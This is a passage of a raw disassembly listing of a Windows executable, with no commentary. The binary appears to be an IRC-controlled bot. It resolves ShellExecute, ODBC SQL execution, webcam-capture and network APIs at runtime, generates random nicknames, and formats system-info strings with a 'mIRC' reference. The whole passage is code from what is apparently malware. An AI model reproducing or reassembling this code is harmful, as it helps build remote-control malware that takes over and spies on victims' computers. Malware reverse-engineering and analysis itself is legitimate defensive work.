dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j nop call near ptr 2680972h mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj call near ptr 2680972h nop mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j call near ptr 2680972h nop mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j nop call near ptr 2680972h mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: ___:0043320Co ; ___:00433250o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6C4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA50 mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8D8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA50 cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D884 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB978 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: ___:off_42D920o arg_0 = dword ptr 4 push esi push edi nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D99C[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- db 56h, 57h, 90h dd 285D19E8h, 91E85002h, 8B000117h, 0C710247Ch, 91382404h dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h dd 429098h, 0C78BDA7Ch ; --------------------------------------------------------------------------- pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 269083Ah nop push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi nop call near ptr 26C0000h movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: ___:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: ___:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: ___:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: ___:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: ___:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: ___:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26D0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: ___:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: ___:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h nop call near ptr 26D04D8h call near ptr 269083Ah nop push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431620 loc_40AD2B: ; CODE XREF: ___:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: ___:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431618 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: ___:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431614 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: ___:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431610 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: ___:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43160C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: ___:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431608 jz short loc_40AD97 loc_40AD92: ; CODE XREF: ___:0040AD52j ; ___:0040AD62j mov esi, offset dword_431604 loc_40AD97: ; CODE XREF: ___:0040AD32j ; ___:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_4315FC push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: ___:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: ___:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 269083Ah xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431624 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 test eax, eax mov eax, offset off_43162C jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h nop call near ptr 26D04D8h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431620 loc_40AF38: ; CODE XREF: ___:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: ___:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431618 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: ___:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431614 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: ___:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431610 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: ___:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43160C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: ___:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: ___:0040AF5Ej ; ___:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: ___:0040AF3Fj ; ___:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: ___:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: ___:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: ___:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: ___:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: ___:0040AFBFj ; ___:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: ___:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: ___:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: ___:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: ___:0040B084j nop call near ptr 269083Ah push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h nop call near ptr 26D0000h lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: ___:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B89C push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: ___:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh 